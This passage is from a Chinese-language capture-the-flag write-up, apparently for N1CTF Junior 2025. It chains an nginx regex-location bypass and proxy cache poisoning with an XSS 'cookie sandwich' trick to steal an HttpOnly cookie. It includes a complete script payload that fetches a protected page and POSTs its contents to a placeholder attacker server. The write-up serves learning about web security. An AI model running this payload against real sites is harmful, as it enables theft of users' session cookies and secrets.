匹配以指定字符串开头的 URI,且优先级高于正则匹配。3.正则匹配
~或~\*
按配置文件中的顺序依次匹配,先出现的正则表达式优先。若匹配成功,立即停止搜索。4.普通前缀匹配(无修饰符)
匹配以指定字符串开头的 URI,但优先级低于^~和正则匹配。5.默认匹配
/
如果所有规则均未匹配,最后会匹配location /。
所以nginx正则匹配优先级大于普通前缀匹配,假如用户名中含有js或者css就可以绕过403正常访问了

但是还有限制,自己只能访问自己的bio
if not current_user.username == username:
return "Unauthorized", 401
proxy_cache 用于开启 Nginx 的代理缓存功能,static_cache 是缓存区域的名称将后端服务返回的 .css/.js 响应内容缓存到 static_cache 区域,后续相同请求可直接从 Nginx 缓存返回,无需再次请求后端,提升访问速度。
location ~ \.(css|js)$ {
proxy_pass http://127.0.0.1:5000;
proxy_ignore_headers Vary;
proxy_cache static_cache;
proxy_cache_valid 200 10m;
先自己访问自己的bio,bio被存在缓存区域中,bot就能访问了
接下来就是xss了,但是flag设置了httpOnly(原题出错了,o小写了直接xss就可以得到flag)
context.add_cookies([{
'name': 'flag',
'value': flag_value,
'domain': 'localhost',
'path': '/',
'httponly': True
}])
httpOnly
如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。
httpOnly绕过(三明治攻击)
参考 Stealing HttpOnly cookies with the cookie sandwich technique | PortSwigger Research
精心构造传到服务端Cookie Header头的顺序,path内容多的会排在前面,然后后设置的排在后面,故我们作如下设置
const url = new URL("http://localhost/ticket");
document.cookie = `$Version=1; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `ticket="nbnb; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `aaa=bbb"; domain=${url.hostname}; path=/;`;
/ticket路由有ticket cookie,获取后发到自己的服务器上
<script>
const url = new URL("http://localhost/ticket");
document.cookie = `$Version=1; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `ticket="nbnb; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `aaa=bbb"; domain=${url.hostname}; path=/;`;
fetch("/ticket", {
credentials: 'include',
}).then(response => {
return response.text();
}).then(data => {
fetch("http://x.x.x.x:xxxx/", {
method: "POST",
body: data,
});
})
</script>
最后让bot来访问

得到flag
参考
N1CTF Junior 2025 2/2 Web WriteUp
n1ctf_web_wp - onehang's blogs
Stealing HttpOnly cookies with the cookie sandwich technique | PortSwigger Research

浙公网安备 33010602011771号